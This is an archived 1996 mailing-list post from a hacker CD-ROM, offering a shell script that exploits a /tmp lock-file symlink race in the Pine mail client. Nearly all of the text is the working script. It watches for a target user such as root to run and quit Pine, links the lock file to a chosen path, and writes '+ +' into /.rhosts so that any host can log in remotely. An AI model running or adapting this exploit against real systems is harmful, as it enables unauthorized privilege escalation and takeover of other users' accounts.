home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / mop / multip.asc < prev    next >
Encoding:
Text File  |  1997-02-23  |  3.8 KB  |  178 lines

  1.  
  2.                                A Stupid script.
  3.                                        
  4.    Efrain Torres (e-torres@uniandes.edu.co)
  5.    Sat, 23 Nov 1996 10:36:57 +0500
  6.    
  7. H0l4,
  8.  
  9. Well here is a stupid script to exploit the pine bug, is better than to
  10. have to exploit it manually. It just sucks waiting for the user to quit
  11. and re-enter pine. Why is a shell script and not a C program?.. simple
  12. because some root dont allow the execution of cc, gcc (its a security
  13. problem .. duhhhhhhh.... ). So be happy whatever you do.
  14.  
  15. Greetings from Colombia,
  16. E.T Lownoise
  17.  
  18. e-torres@uniandes.edu.co
  19.  
  20. ------------------------------------------------------------------------
  21. ^^ Funny Shit to know, some people like to spread ignorance to
  22.    control the information, just to be the only ones.
  23.    yeah in this country too.
  24.  
  25.    L0wnoise Just trying to change this shit.                          ^^
  26. ________________________________________________________________________
  27.  
  28.  
  29. ---------------------- Cortame por aca ----QUE SI! POR ACA -------------
  30.  
  31.  
  32.  
  33. #!/bin/sh
  34. #
  35. # ET Lownoise 1996 Colombia
  36. # pine bug exploit
  37. #
  38. # usage: pine.sh username path/file_to_create &
  39. # ex:    pine.sh root /.rhosts &
  40. # ex2:   pine.sh root /.rhosts > out & (and go to sleep).
  41. #
  42. # version 3.91, 3.92 .....
  43. # version 3.95 fixed
  44. #
  45. # Note: must do some changes in the script. look 4 CHANGE THIS:
  46. #
  47. # Yea i know is a lame script but is better than nothing..
  48. # try to exploit the bug without a script and you will wait
  49. # forever.
  50. #                     e-torres@uniandes.edu.co
  51. #
  52.  
  53. argumentos=0
  54. if [ $# -eq $argumentos ]
  55.   then
  56.     echo "Usage: $0 username path/file_to_create & "
  57.     echo "ET Lownoise 1996 Colombia"
  58.     exit
  59. fi
  60.  
  61. username=$1
  62. archivo=$2
  63.  
  64. #CHANGE THIS:
  65.  
  66. #text='text to puit in file to create'
  67. #usr=path of the program users
  68. #pineprog=how the pine program appears when u do a w (who) command
  69.  
  70. text='+ +'
  71. usr=users
  72. pineprog=pine
  73.  
  74. #
  75. date
  76. echo "- Looking for $1 to log in... just wait"
  77. #
  78. entrada=0
  79. entro=0
  80.  
  81. until [ $entro -eq $entrada ]
  82. do
  83.         for nombre in `$usr`
  84.         do
  85.          if [ $nombre = $1 ]
  86.             then
  87.                 entro=1
  88.  
  89.          fi
  90.         done
  91.  
  92. done
  93. date
  94. echo "- Ok $username is logged now."
  95. #
  96. echo "- Lets wait that $1 run pine. "
  97.  
  98.  
  99. noejecuto=0
  100. ejecuto=0
  101.  
  102. until [ $ejecuto -ne $noejecuto ]
  103. do
  104.  
  105.  
  106.      for ejecutando in `w $username`
  107.      do
  108.        if [ $ejecutando = $pineprog ]
  109.          then
  110.                 date
  111.                 echo '- OK ' $1 ' is running ' $pineprog '.'
  112.                 ejecuto=1
  113.  
  114.        fi
  115.      done
  116.  
  117. done
  118.  
  119.  
  120.  
  121. echo "- Now lets grab the lock file of $username from /tmp"
  122. ls -al /tmp | grep $username > temp1
  123. cat temp1 | grep rw-rw-rw- > temporal
  124. lockfile=`awk '{print $9}' temporal`
  125. rm temp1
  126. rm temporal
  127. echo "> Username $username"
  128. echo "> Lockfile $lockfile"
  129. echo
  130. echo "- OK now im going to wait that $username "
  131. echo "  quits $pineprog "
  132. # do it till exist lockfile, that means username havent quit pine
  133. cd /tmp
  134.  
  135. while [ -s $lockfile ]
  136.     do
  137.     sleep 0
  138. done
  139.  
  140. cd
  141. date
  142. echo "- OK $username quit $pineprog .. now to link $lockfile "
  143. #$archivo is the complete path of file in username
  144. cd /tmp
  145. ln -s $archivo $lockfile
  146. echo "- $lockfile is now linked "
  147. cd
  148. echo "- $username must now return to pine to create"
  149. echo "  $archivo "
  150. echo "- Waiting $username to return pine "
  151.  
  152. noejecuto=0
  153. ejecuto=0
  154.  
  155. until [ $ejecuto -ne $noejecuto ]
  156. do
  157.      for ejecutando in `w $username `
  158.      do
  159.        if [ $ejecutando = $pineprog ]
  160.          then
  161.                 date
  162.                 echo '- OK ' $username ' is running ' $pineprog
  163.                 ejecuto=1
  164.  
  165.        fi
  166.      done
  167.  
  168. done
  169. echo "- Introducing text..."
  170. cd /tmp
  171. echo $text > $lockfile
  172. echo "- Erasing $lockfile "
  173. rm $lockfile
  174. cd
  175. echo "THE END DUDE!"
  176. echo "ET Lownoise 1996 "
  177.  
  178.